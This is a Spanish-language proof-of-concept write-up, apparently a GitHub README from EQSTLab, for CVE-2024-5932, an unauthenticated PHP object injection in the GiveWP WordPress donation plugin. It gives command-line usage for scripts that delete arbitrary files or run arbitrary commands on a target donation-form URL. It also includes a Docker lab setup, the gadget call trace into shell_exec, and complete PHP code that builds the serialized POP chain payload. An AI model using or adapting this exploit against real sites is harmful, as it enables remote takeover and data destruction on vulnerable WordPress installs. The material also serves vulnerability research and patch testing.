Exploit de prueba de concepto para CVE-2024-5932, una vulnerabilidad de inyección de objetos PHP en el plugin GiveWP de WordPress, que permite ejecución remota de código no autenticada y eliminación arbitraria de archivos a través de una cadena POP.
Esta publicación es un artículo de investigación publicado por EQSTLab.
Actualmente existen repositorios PoC falsos en GitHub que ejecutan xmrig. Consulta el siguiente enlace para más información:
URL1: https://x.com/win3zz/status/1828704644987511107
URL2: https://x.com/bornunique911/status/1828712791844524453
URL3: https://x.com/Chocapikk_/status/1828801346637856841
★ CVE-2024-5932 PoC de eliminación arbitraria de archivos y RCE ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
25 ago : PoC de eliminación de archivos CVE-2024-5932 subido
26 ago : Hemos ejecutado con éxito comandos arbitrarios usando CVE-2024-5932, pero estamos considerando la divulgación debido al impacto.
27 ago : Encontramos un análisis detallado del PoC en una publicación de Julien Ahrens de RCE Security y decidimos publicar nuestro PoC de RCE. Subimos un PoC de RCE adicional como CVE-2024-5932-rce.py.
CVE-2024-5932 : Vulnerabilidad de inyección de objetos PHP de GiveWP Descripción: El plugin GiveWP Donation Plugin and Fundraising Platform para WordPress es vulnerable a la inyección de objetos PHP en todas las versiones hasta la 3.14.1 inclusive, mediante la deserialización de entrada no confiable del parámetro 'give_title'. Esto permite que atacantes no autenticados inyecten un objeto PHP. La presencia adicional de una cadena POP permite a los atacantes ejecutar código de forma remota y eliminar archivos arbitrarios.
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# Eliminación arbitraria de archivos
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Ejecución remota de código
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



Primero, accede al shell de WordPress con el siguiente comando:
docker exec -it -u root docker-wordpress-1 /bin/bash
Si el archivo pertenece a root, es posible que no se pueda eliminar debido a los permisos. Por lo tanto, debes cambiar el propietario del archivo de prueba con el siguiente comando:
touch test && chown www-data test

Puedes depurar tu GiveWP usando PHPSTORM.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
...Y luego puedes depurar tu WordPress.


En este punto, la función get_meta() deserializa el valor "give_title" guardado previamente.
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags: reemplaza los bytes nulos -> usando \0
stripslashes_deep: reemplaza las barras invertidas -> usando \\\\
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (Devuelve la cadena de comando)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
La cadena POP permite la ejecución remota de comandos.

Usando TCPDF, puedes explotar la eliminación arbitraria de archivos.
Este repositorio no pretende ser un exploit de inyección de objetos para CVE-2024-5932. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones.
Publicamos análisis de CVE y malware una vez al mes. Si estás interesado, sigue los enlaces de abajo para consultar nuestras publicaciones. https://www.skshieldus.com/eng/business/insight.do